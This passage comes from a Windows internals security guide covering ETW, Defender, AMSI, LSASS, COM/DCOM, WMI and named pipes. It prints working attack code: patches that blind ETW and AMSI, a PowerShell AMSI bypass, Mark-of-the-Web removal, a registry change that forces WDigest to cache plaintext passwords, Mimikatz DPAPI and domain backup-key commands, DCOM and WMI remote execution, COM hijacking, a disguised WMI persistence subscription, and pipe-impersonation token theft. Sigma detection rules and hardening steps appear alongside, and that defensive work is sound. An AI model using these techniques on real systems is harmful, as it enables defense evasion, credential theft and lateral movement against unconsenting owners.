# Provider: Microsoft-Windows-DotNETRuntime
# Keyword: 0x8 (Loader)
logman create trace DotNetMon -ets -p "Microsoft-Windows-DotNETRuntime" 0x8 0x5
4.5 ETW Tampering Techniques (Red Team)
Attackers target ETW to blind defenders:
1. Patching EtwEventWrite in ntdll
// Patch ntdll!EtwEventWrite to return immediately (ret 0)
// This kills user-mode ETW for the current process
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)pEtwEventWrite = 0xC3; // ret
VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
2. Disabling Provider via NtTraceControl
// Remove provider from session using undocumented NtTraceControl syscall
// EtwpStopTrace with specific provider GUID
3. Kernel-Level ETW Blind (requires driver)
// Patch nt!EtwpEventWriteFull in kernel memory
// Or: NULL out _ETW_REG_ENTRY->Callback for target provider
// Requires: BYOVD or vulnerable driver for arbitrary kernel write
4.6 ETW Defense Hardening
# Monitor for ETW tampering — detect EtwEventWrite patching
# Compare ntdll!EtwEventWrite bytes against known-good
# Enable protected ETW sessions (tamper-resistant)
# Windows 11+ supports "ETW session security" via SECURE_SESSION flag
# Monitor for logman/tracerpt abuse
# Sigma rule for ETW session manipulation:
title: ETW Session Stopped or Deleted
id: f2b5c8a1-7d3e-4f9b-8e6a-1c2d3e4f5a6b
status: experimental
description: Detects stopping or deletion of ETW trace sessions which may indicate attacker attempting to blind security monitoring
logsource:
category: process_creation
product: windows
detection:
selection_logman:
Image|endswith: '\logman.exe'
CommandLine|contains:
- 'stop'
- 'delete'
selection_wpr:
Image|endswith: '\wpr.exe'
CommandLine|contains: '-cancel'
condition: selection_logman or selection_wpr
falsepositives:
- Performance troubleshooting by administrators
- Windows Performance Recorder usage
level: medium
tags:
- attack.defense_evasion
- attack.t1562.006
5. Windows Defender Internals
5.1 Architecture Overview
Windows Defender (Microsoft Defender Antivirus) operates across user mode and kernel mode:
User Mode Kernel Mode
┌──────────────────┐ ┌─────────────────┐
│ MsMpEng.exe │ │ WdFilter.sys │
│ (Antimalware │ │ (Minifilter │
│ Service) │ ◄─── file events ──── │ Driver) │
│ ├─ MpEngine.dll │ │ WdNisDrv.sys │
│ ├─ MpClient.dll │ │ (Network │
│ └─ MpSvc.dll │ │ Inspection) │
├──────────────────┤ └─────────────────┘
│ MpCmdRun.exe │ │
│ (CLI interface) │ ┌─────────────────┐
├──────────────────┤ │ WdBoot.sys │
│ SecurityHealth* │ │ (ELAM Driver) │
│ (UI tray app) │ └─────────────────┘
└──────────────────┘
5.2 MpEngine.dll — The Scanning Engine
MpEngine is the core scanning engine loaded by MsMpEng.exe. It performs:
- Static signature matching — byte patterns, YARA-like rules from VDM (Virus Definition Module) files
- Heuristic analysis — behavioral patterns, entropy analysis, PE anomaly detection
- Emulation — lightweight x86/x64 emulator executes suspicious binaries in a sandbox to observe behavior
- Machine learning — cloud-based (MAPS) and local ML models classify files
- AMSI integration — scans scripts and memory buffers submitted via AMSI
VDM (definition) files:
- Location:
C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{GUID}\ - Files:
mpavbase.vdm(base definitions),mpasbase.vdm(AS definitions),mpasdlta.vdm(delta),mpengine.dll - Signature format: proprietary, contains byte patterns + emulation rules + LUASD scripts
Emulator internals:
- MpEngine contains a PE loader, API emulator, and virtual filesystem
- Emulated APIs: subset of kernel32, ntdll, ws2_32, wininet
- Time-limited execution (~seconds) — malware can detect via timing checks
- Environment artifacts: emulated OS version, filesystem paths differ from real system
Red team — engine bypass patterns:
- Large file size (>150MB by default skipped for performance)
- Sleep/timing checks exceed emulator timeout
- Environmental checks (registry keys, running processes, hardware markers absent in emulator)
- Encrypt payload, decrypt at runtime after environment validation
- Metamorphic/polymorphic code changes signature profile per build
5.3 WdFilter.sys — Kernel Minifilter Driver
WdFilter is a filesystem minifilter driver registered at altitude 328010. It intercepts file I/O operations:
Operations monitored:
IRP_MJ_CREATE— file open/create (triggers on-access scan)IRP_MJ_WRITE— file writes (triggers on-write scan)IRP_MJ_CLEANUP— file close (triggers on-close scan)- Process/thread creation via
PsSetCreateProcessNotifyRoutineExcallback - Image load via
PsSetLoadImageNotifyRoutinecallback - Registry via
CmRegisterCallbackEx - Object access via
ObRegisterCallbacks(process/thread handle filtering)
WdFilter altitude position:
Altitude Driver Purpose
430000+ Encryption filters BitLocker, EFS
370000 Replication filters DFS, DFSR
328010 WdFilter.sys Defender scanning
320000 Anti-virus range Third-party AV
100000 HSM filters Hierarchical storage
Detection of WdFilter manipulation:
# Check minifilter registration
fltmc
# Output shows: WdFilter 328010 Frame 0 <number> instances
# Verify driver is loaded
Get-WmiObject Win32_SystemDriver | Where-Object { $_.Name -eq "WdFilter" }
# Check driver file integrity
Get-AuthenticodeSignature C:\Windows\System32\drivers\wd\WdFilter.sys
5.4 AMSI Architecture
The Antimalware Scan Interface (AMSI) provides a standard interface for applications to submit content for malware scanning.
┌──────────────────┐ ┌──────────┐ ┌──────────────┐
│ PowerShell │ │ │ │ MsMpEng.exe │
│ VBScript/JScript │────>│ amsi.dll │────>│ (via COM │
│ .NET (4.8+) │ │ │ │ IAntimalware│
│ Office VBA │ └──────────┘ │ Provider) │
│ WMI Scripts │ └──────────────┘
│ User apps (opt-in│
└──────────────────┘
AMSI API flow:
// 1. Application initializes AMSI context
AmsiInitialize("PowerShell", &amsiContext);
// 2. Open session (groups related scan requests)
AmsiOpenSession(amsiContext, &amsiSession);
// 3. Submit buffer for scanning
AmsiScanBuffer(amsiContext, buffer, length, contentName, amsiSession, &result);
// OR
AmsiScanString(amsiContext, string, contentName, amsiSession, &result);
// 4. Check result
if (result >= AMSI_RESULT_DETECTED) {
// Block execution
}
// Result enum:
// AMSI_RESULT_CLEAN = 0
// AMSI_RESULT_NOT_DETECTED = 1
// AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
// AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
// AMSI_RESULT_DETECTED = 32768
5.5 AMSI Bypass Techniques
1. amsi.dll Patching (Classic)
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN (0)
# This is the most detected bypass — signature exists — shown for education
$a = [Ref].Assembly.GetTypes() | ? { $_.Name -like "*siUtils" }
$f = $a.GetFields('NonPublic,Static') | ? { $_.Name -like "*Failed" }
$f.SetValue($null, $true)
// C/C++ — Patch AmsiScanBuffer in amsi.dll
// Find AmsiScanBuffer, change first bytes to: mov eax, 0x80070057; ret (E_INVALIDARG)
HMODULE hAmsi = LoadLibraryA("amsi.dll");
PVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
// xor eax, eax; ret = 31 C0 C3 (return S_OK with AMSI_RESULT_CLEAN in out param)
BYTE patch[] = { 0x31, 0xC0, 0xC3 };
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
2. Provider Unhooking
# Remove AMSI providers from registry (requires admin)
# Defender's AMSI provider CLSID: {2781761E-28E0-4109-99FE-B9D127C57AFE}
Remove-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Force
3. AmsiContext Corruption
# Corrupt the AMSI context structure in memory
# PowerShell stores context at a known offset in the automation engine
# Setting the context to 0 (null) causes AmsiScanBuffer to return E_INVALIDARG
5.6 SmartScreen
SmartScreen (smartscreen.exe) evaluates:
- URLs — reputation check against Microsoft cloud service
- Downloaded files — Zone.Identifier ADS (Mark of the Web), file hash reputation
- Application execution — unsigned/low-reputation executables trigger a warning
Mark of the Web (MOTW):
# Check MOTW on a downloaded file
Get-Content -Path "C:\Users\user\Downloads\malware.exe" -Stream Zone.Identifier
# Output:
# [ZoneTransfer]
# ZoneId=3 (Internet zone)
# ReferrerUrl=https://example.com
# HostUrl=https://example.com/malware.exe
# Remove MOTW to bypass SmartScreen
Remove-Item -Path "C:\Users\user\Downloads\malware.exe" -Stream Zone.Identifier
# Files without MOTW: created locally, from USB, extracted from some archive formats
# ISO/VHD mounted files historically did not propagate MOTW (patched Nov 2022)
5.7 Defender Exclusions Abuse
# Enumerate Defender exclusions (requires admin OR local access)
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Get-MpPreference | Select-Object -ExpandProperty ExclusionExtension
Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
# Registry location
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes"
# Red team: drop payloads in excluded paths
# Common exclusions: C:\ProgramData\, backup folders, SQL data directories
Detection:
title: Defender Exclusion Added via PowerShell
id: c8e2a1b3-5f7d-4e9a-8b6c-3d1f2e4a5c7b
status: stable
description: Detects addition of Windows Defender exclusions which may be used to hide malware
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'Add-MpPreference'
- 'Set-MpPreference'
CommandLine|contains:
- 'ExclusionPath'
- 'ExclusionExtension'
- 'ExclusionProcess'
condition: selection
falsepositives:
- Legitimate software installation requiring exclusions
- System administrators configuring exclusions for line-of-business applications
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
6. LSASS Internals and Credential Storage
6.1 LSASS Process Architecture
LSASS (lsass.exe) manages authentication, token generation, and credential caching.
Loaded modules and their roles:
| Module | Purpose | Credential Type |
|---|---|---|
lsasrv.dll |
LSA server, logon session management | Logon session metadata |
msv1_0.dll |
NTLM authentication package | NT hashes, LM hashes (if enabled) |
kerberos.dll |
Kerberos authentication | TGTs, session keys, Kerberos tickets |
wdigest.dll |
Digest authentication | Plaintext passwords (if enabled) |
tspkg.dll |
Terminal Services SSP | Plaintext credentials for RDP SSO |
livessp.dll |
Microsoft Account auth | Microsoft Account tokens |
cloudAP.dll |
Azure AD authentication | PRT (Primary Refresh Token), cloud creds |
dpapisrv.dll |
DPAPI master key management | DPAPI master keys |
samsrv.dll |
SAM database server | Local account hashes |
negoexts.dll |
SPNEGO/Negotiate | Negotiation metadata |
pku2u.dll |
PKU2U (peer-to-peer auth) | Certificates |
6.2 Credential Storage in Memory
Where each credential type lives in LSASS memory:
LSASS Memory Map
├── msv1_0.dll
│ ├── LogonSessionList → linked list of MSV1_0_CREDENTIAL_LIST
│ │ └── per-session: NT hash, LM hash (encrypted with 3DES/AES key in lsasrv)
│ └── Credential Manager cache
│
├── kerberos.dll
│ ├── KerbGlobalLogonSessionTable → Kerberos logon sessions
│ │ └── per-session: TGT, session keys, service tickets
│ └── Ticket cache
│
├── wdigest.dll
│ └── l_LogSessList → linked list with plaintext passwords
│ (encrypted in memory with per-boot key)
│
├── tspkg.dll
│ └── TSGlobalCredTable → plaintext creds for RDP SSO
│
├── dpapisrv.dll
│ └── MasterKeyCache → DPAPI master keys (cached for user sessions)
│
└── cloudAP.dll
└── PRT cache → Azure AD Primary Refresh Tokens
6.3 Credential Encryption in LSASS
Credentials in LSASS are encrypted using session keys derived at boot:
- LSA encryption keys (
lsasrv.dll): 3DES key (h3DesKey) and AES-256 key (hAesKey) initialized at LSASS startup - IV stored alongside each encrypted credential block
- Per-credential encryption: NT hashes encrypted with one of these keys before being stored in the credential list
Mimikatz decryption flow:
- Open LSASS process (requires
SeDebugPrivilegeor SYSTEM) - Find
lsasrv.dllbase address in LSASS - Locate
LsaInitializeProtectedMemoryfunction — contains references to encryption key globals - Read
h3DesKeyandhAesKeyfrom LSASS memory - Walk credential lists, decrypt each entry with the appropriate key + IV
6.4 Wdigest Plaintext Credential Caching
Wdigest stores plaintext passwords in LSASS for HTTP Digest authentication.
Control registry key:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential = 0 (DWORD) — Disable plaintext caching (default Win8.1+)
UseLogonCredential = 1 (DWORD) — Enable plaintext caching
Red team — force Wdigest caching:
# Enable Wdigest credential caching (requires admin + reboot or new logon)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# Then wait for user to log in again — plaintext password cached in LSASS
# Or force lock screen: rundll32.exe user32.dll,LockWorkStation
Detection:
title: Wdigest Credential Caching Enabled via Registry
id: e5a3b2c1-8d7f-4e6a-9b5c-2f1d3e7a4b8c
status: stable
description: Detects enabling of Wdigest plaintext credential caching indicating credential theft preparation
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject|contains: 'WDigest'
TargetObject|endswith: '\UseLogonCredential'
Details: 'DWORD (0x00000001)'
condition: selection
falsepositives:
- Legacy application requiring Digest authentication
level: critical
tags:
- attack.credential_access
- attack.t1003.001
6.5 DPAPI Internals
DPAPI (Data Protection API) protects user secrets (browser passwords, Wi-Fi keys, credential manager entries).
Key hierarchy:
User Password (or domain backup key)
└─> DPAPI Master Key (GUID-named file)
└─> Derived key
└─> Encrypts: browser passwords, credential manager, certificates, etc.
Master key locations:
- User:
%APPDATA%\Microsoft\Protect\{UserSID}\{MasterKeyGUID} - Machine:
%SYSTEMROOT%\System32\Microsoft\Protect\S-1-5-18\{MasterKeyGUID} - Domain backup: stored encrypted with domain controller's DPAPI backup key
Decrypting DPAPI secrets:
# Mimikatz — Decrypt master key with user password
dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\S-1-5-21-...\{GUID}" /password:UserPassword
# Mimikatz — Use domain backup key (requires DA)
lsadump::backupkeys /system:dc01.corp.local /export
dpapi::masterkey /in:masterkey_file /pvk:backup_key.pvk
# Mimikatz — Decrypt Chrome cookies
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies" /masterkey:KEY
# SharpDPAPI — automated DPAPI triage
SharpDPAPI.exe triage
SharpDPAPI.exe machinemasterkeys
SharpDPAPI.exe credentials /password:UserPassword
6.6 Credential Guard
Credential Guard uses Virtualization-Based Security (VBS) to isolate LSASS credentials:
┌─────────────────────────────────────────────────┐
│ Hypervisor (Hyper-V) │
├─────────────────────┬───────────────────────────┤
│ VTL 0 (Normal) │ VTL 1 (Secure World) │
│ │ │
│ NT Kernel │ Secure Kernel │
│ lsass.exe │ lsaiso.exe (LSA Isolated) │
│ (no plaintext creds)│ (creds stored here) │
│ │ │
│ msv1_0 → stub │ msv1_0 → real operations │
│ kerberos → stub │ kerberos → real operations│
└─────────────────────┴───────────────────────────┘
What Credential Guard protects:
- NT hashes (no pass-the-hash with stolen LSASS memory)
- Kerberos TGTs and session keys
- DPAPI master keys (in VBS mode)
What Credential Guard does NOT protect:
- Cached credentials in the SAM/registry
- Kerberos tickets already delegated
- Credentials for accounts logging in after CG is disabled
- Application passwords stored outside LSASS
Checking Credential Guard status:
# Check VBS and CG status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
# Or via systeminfo
systeminfo | findstr /i "Credential Guard"
# Registry check
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\LSA" -Name LsaCfgFlags
# PowerShell detailed check
(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
# 1 = CG running, 2 = HVCI running
6.7 LSASS Protection (RunAsPPL)
Running LSASS as Protected Process Light (PPL) prevents non-PPL processes from opening LSASS with full access.
# Enable (requires reboot)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# UEFI-locked PPL (cannot be reverted without clearing UEFI variable)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 2 /f
# Verify
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL
PPL bypass techniques:
- BYOVD (Bring Your Own Vulnerable Driver) — load vulnerable signed driver, remove PPL flag from LSASS
_EPROCESS mimidrv.sys— Mimikatz kernel driver (signed with test cert, requires test signing mode)- PPLdump — exploits
PROCESS_DUP_HANDLEpermission leak in Windows Defender - Userland: exploit PPL-signed binaries to load arbitrary code (e.g.,
services.exeis PPL)
7. COM/DCOM Security
7.1 COM Architecture
Component Object Model (COM) provides inter-process communication via interfaces.
Key concepts:
- CLSID — Class ID (GUID) identifying a COM class
- ProgID — Human-readable alias (e.g.,
Excel.Application) - Interface — Set of methods (identified by IID)
- Apartment — Threading model (STA, MTA)
- Activation — Creating an instance: in-process (DLL), local server (EXE), remote (DCOM)
Registry locations:
HKCR\CLSID\{GUID} — Class registration
HKCR\CLSID\{GUID}\InprocServer32 — In-process DLL path
HKCR\CLSID\{GUID}\LocalServer32 — Local server EXE path
HKCR\CLSID\{GUID}\TreatAs — Class emulation redirect
HKCR\CLSID\{GUID}\Elevation\Enabled = 1 — Auto-elevate COM class
HKLM\SOFTWARE\Classes\CLSID\{GUID} — Machine-wide
HKCU\SOFTWARE\Classes\CLSID\{GUID} — Per-user (takes precedence!)
7.2 COM Security Model
Three levels of COM security:
- Launch Permission — Who can start the COM server process
- Access Permission — Who can call methods on running COM objects
- Activation Permission — Who can activate (create instances of) COM classes
# View COM security settings
dcomcnfg # Component Services GUI
# Programmatic: read from registry
# Machine-wide defaults:
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Ole" -Name DefaultLaunchPermission
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Ole" -Name DefaultAccessPermission
# Values are binary SDDL security descriptors
7.3 DCOM for Lateral Movement
DCOM enables remote COM object activation. Several COM objects support methods that execute commands:
MMC20.Application (T1021.003)
# Remote command execution via MMC20.Application DCOM object
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "target-host"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\temp\out.txt", "7")
ShellWindows
# Remote execution via ShellWindows DCOM
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID(
[guid]"9BA05972-F6A8-11CF-A442-00A0C90A8F39", "target-host"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\System32", $null, 0)
ShellBrowserWindow
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID(
[guid]"C08AFD90-F2A1-11D1-8455-00A0C91F3880", "target-host"))
$com.Document.Application.ShellExecute("cmd.exe", "/c net user", "C:\Windows\System32", $null, 0)
Excel.Application
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "target-host"))
$excel.DisplayAlerts = $false
$excel.DDEInitiate("cmd", "/c calc.exe")
Outlook.Application (DCOM + macro execution)
$outlook = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application", "target-host"))
$shell = $outlook.CreateObject("Wscript.Shell")
$shell.Run("cmd.exe /c whoami")
7.4 COM Hijacking for Persistence
HKCU CLSID entries override HKLM. Attacker writes custom DLL path under HKCU:
# Find hijackable CLSIDs (scheduled task COM handlers, explorer extensions, etc.)
# Look for CLSIDs where InprocServer32 exists in HKLM but NOT in HKCU
# Example: hijack a COM object loaded by explorer.exe
$clsid = "{GUID-of-target-COM-class}"
New-Item -Path "HKCU:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" -Force
Set-ItemProperty -Path "HKCU:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" -Name "(Default)" -Value "C:\temp\payload.dll"
Set-ItemProperty -Path "HKCU:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" -Name "ThreadingModel" -Value "Both"
# Common hijack targets (loaded frequently by explorer/taskbar):
# {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} — CLSID loaded on shell startup
# {BCDE0395-E52F-467C-8E3D-C4579291692E} — MMDeviceEnumerator (audio)
Detection:
title: COM Object Hijacking via HKCU CLSID Modification
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: stable
description: Detects creation of InprocServer32 entries under HKCU which may indicate COM hijacking for persistence
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject|contains:
- '\SOFTWARE\Classes\CLSID\'
TargetObject|contains:
- '\InprocServer32'
TargetObject|startswith:
- 'HKU\'
- 'HKCU\'
condition: selection
falsepositives:
- Legitimate application registration in per-user context
- Visual Studio COM component registration
level: medium
tags:
- attack.persistence
- attack.t1546.015
7.5 DCOM Hardening
# Restrict DCOM access (Windows Firewall)
# DCOM uses TCP 135 (RPC endpoint mapper) + dynamic high ports
netsh advfirewall firewall add rule name="Block DCOM" dir=in action=block protocol=tcp localport=135
# Disable DCOM entirely (breaks many things — test first)
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Ole" -Name EnableDCOM -Value "N"
# Monitor DCOM activation (Event ID 10028, 10036 in System log)
Get-WinEvent -FilterHashtable @{LogName='System'; Id=10028,10036} -MaxEvents 50
8. WMI Internals
8.1 WMI Architecture
┌────────────────────────────────────────────────────┐
│ WMI Consumers │
│ (PowerShell, wmic.exe, scripts, applications) │
├────────────────────────────────────────────────────┤
│ WMI Infrastructure │
│ WinMgmt service (svchost.exe -k netsvcs) │
│ ├── CIMOM (CIM Object Manager) │
│ ├── WMI Repository (C:\Windows\System32\wbem\ │
│ │ Repository\OBJECTS.DATA, INDEX.BTR, etc.) │
│ └── Provider subsystem │
├────────────────────────────────────────────────────┤
│ WMI Providers │
│ ├── Win32 Provider (cimwin32.dll) │
│ ├── Registry Provider (stdprov.dll) │
│ ├── Event Log Provider (ntevt.dll) │
│ ├── Active Directory Provider (dsprov.dll) │
│ ├── WMI Script Provider (scrcons.exe) │
│ └── Custom providers (third-party) │
├────────────────────────────────────────────────────┤
│ Managed Objects (CIM classes) │
│ Win32_Process, Win32_Service, CIM_DataFile, etc. │
└────────────────────────────────────────────────────┘
8.2 WMI for Remote Execution
# Remote process creation via WMI (T1047)
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName target-host
# Using CIM (modern, uses WinRM by default)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="calc.exe"} -ComputerName target-host
# Using wmic (deprecated but still present)
wmic /node:target-host process call create "cmd.exe /c net user"
# SharpWMI
SharpWMI.exe action=exec computername=target-host command="cmd.exe /c whoami"
8.3 WMI Event Subscriptions for Persistence
WMI event subscriptions are a powerful persistence mechanism (T1546.003). Three components required:
- Event Filter — defines the trigger condition (WQL query)
- Event Consumer — defines the action (CommandLineEventConsumer, ActiveScriptEventConsumer, etc.)
- Filter-to-Consumer Binding — links filter to consumer
# Create persistent WMI event subscription
# 1. Event Filter — trigger on any user logon
$filterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'WindowsUpdateFilter' # Innocent-sounding name
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs
# 2. Event Consumer — execute command
$consumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = 'C:\Windows\System32\cmd.exe /c C:\temp\payload.exe'
}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
# 3. Binding
$bindingArgs = @{
Filter = $filter
Consumer = $consumer
}
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
Available WMI Event Consumers:
| Consumer Class | Capability |
|---|---|
CommandLineEventConsumer |
Execute arbitrary commands as SYSTEM |
ActiveScriptEventConsumer |
Run VBScript/JScript (scrcons.exe) |
LogFileEventConsumer |
Write to log file |
NTEventLogEventConsumer |
Write to Windows Event Log |
SMTPEventConsumer |
Send email |
8.4 Enumerating WMI Persistence
# List all event filters
Get-WmiObject -Namespace root/subscription -Class __EventFilter
# List all event consumers
Get-WmiObject -Namespace root/subscription -Class __EventConsumer
# List all bindings
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
# Comprehensive WMI persistence check
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer |
Select-Object Name, CommandLineTemplate
Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer |
Select-Object Name, ScriptText, ScriptFileName
# Remove malicious subscription
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding |
Where-Object { $_.Consumer -like "*MaliciousConsumer*" } | Remove-WmiObject
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer |
Where-Object { $_.Name -eq "MaliciousConsumer" } | Remove-WmiObject
Get-WmiObject -Namespace root/subscription -Class __EventFilter |
Where-Object { $_.Name -eq "MaliciousFilter" } | Remove-WmiObject
8.5 WMI Repository Forensics
# WMI Repository location
# C:\Windows\System32\wbem\Repository\
# OBJECTS.DATA — actual WMI objects
# INDEX.BTR — B-tree index
# MAPPING*.MAP — page mapping files
# PyWMIPersistenceFinder — parse repository offline
# python3 PyWMIPersistenceFinder.py -o OBJECTS.DATA
# WMI-forensics toolkit
# Parses OBJECTS.DATA for event subscriptions without WMI service running
Detection:
title: WMI Event Subscription Created for Persistence
id: b3c4d5e6-f7a8-9012-bcde-f12345678901
status: stable
description: Detects creation of WMI event subscriptions commonly used for persistence
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 21 # WmiEventConsumerToFilter
condition: selection
falsepositives:
- Dell BIOS management WMI providers
- HP hardware monitoring WMI subscriptions
- SCCM client WMI event subscriptions
level: high
tags:
- attack.persistence
- attack.t1546.003
9. Named Pipes and IPC
9.1 Named Pipe Fundamentals
Named pipes are a Windows IPC mechanism accessible via the \\.\pipe\ namespace (local) or \\server\pipe\ (remote via SMB).
Pipe types:
- Byte mode — data treated as byte stream
- Message mode — data preserved as discrete messages
Key API functions:
// Server: create pipe
HANDLE hPipe = CreateNamedPipe(
L"\\\\.\\pipe\\MyPipe", // Pipe name
PIPE_ACCESS_DUPLEX, // Read/write access
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, // Max instances
512, 512, // Buffer sizes
0, // Default timeout
NULL // Security attributes (NULL = default DACL)
);
// Server: wait for client connection
ConnectNamedPipe(hPipe, NULL);
// Client: connect to pipe
HANDLE hPipe = CreateFile(
L"\\\\.\\pipe\\MyPipe",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
9.2 Named Pipe Security
Security descriptor on pipe creation:
// Create pipe with restricted access
SECURITY_DESCRIPTOR sd;
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
// Set DACL to allow only SYSTEM and Administrators
BYTE aclBuf[256];
PACL pAcl = (PACL)aclBuf;
InitializeAcl(pAcl, 256, ACL_REVISION);
AddAccessAllowedAce(pAcl, ACL_REVISION, GENERIC_ALL, WinLocalSystemSid);
AddAccessAllowedAce(pAcl, ACL_REVISION, GENERIC_ALL, WinBuiltinAdministratorsSid);
SetSecurityDescriptorDacl(&sd, TRUE, pAcl, FALSE);
SECURITY_ATTRIBUTES sa = { sizeof(sa), &sd, FALSE };
CreateNamedPipe(L"\\\\.\\pipe\\SecurePipe", PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT, 1, 512, 512, 0, &sa);
Enumerating named pipes:
# List all named pipes
Get-ChildItem \\.\pipe\
# Or via PowerShell
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
# Pipe security descriptors
# Using NtObjectManager (James Forshaw)
Get-NtNamedPipeFile "\\.\\pipe\\lsass" | Get-NtSecurityDescriptor | Format-NtSecurityDescriptor
# Via accesschk (Sysinternals)
accesschk.exe -lqw \pipe\*
accesschk.exe -lqw \pipe\epmapper
9.3 Named Pipe Impersonation
The critical security feature: a pipe server can impersonate the connecting client.
// Server side: after client connects
ConnectNamedPipe(hPipe, NULL);
// Read/write to authenticate the client, then:
BOOL result = ImpersonateNamedPipeClient(hPipe);
// Thread now runs as the client's identity
// Can open files, registry, etc. as the client
// Open thread token to verify impersonation
HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
// Duplicate to primary token for process creation
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hPrimary);
CreateProcessWithTokenW(hPrimary, 0, NULL, L"cmd.exe", 0, NULL, NULL, &si, &pi);
// Revert to original identity
RevertToSelf();
Required privilege: SeImpersonatePrivilege — held by:
- SYSTEM
- Local Service / Network Service
- IIS AppPool accounts
- SQL Server service accounts
- Any service account
9.4 Potato Attacks — Privilege Escalation via Pipe Impersonation
Potato attacks exploit named pipe impersonation to escalate from service account to SYSTEM.
Attack family evolution:
| Technique | Year | Mechanism | Requirement |
|---|---|---|---|
| Hot Potato | 2016 | NBNS spoofing + WPAD + NTLM relay to local pipe | SeImpersonatePrivilege |
| Rotten Potato | 2016 | DCOM activation + NTLM relay via OXID resolver | SeImpersonatePrivilege |
| Juicy Potato | 2018 | Arbitrary CLSID DCOM activation to controlled pipe | SeImpersonatePrivilege + CLSID with SYSTEM token |
| Sweet Potato | 2020 | Combined: Juicy + print bug + WinRM | SeImpersonatePrivilege |
| Rogue Potato | 2020 | Remote OXID resolver + pipe impersonation | SeImpersonatePrivilege + outbound network |
| God Potato | 2023 | Undocumented RPCSS activation abuse | SeImpersonatePrivilege |
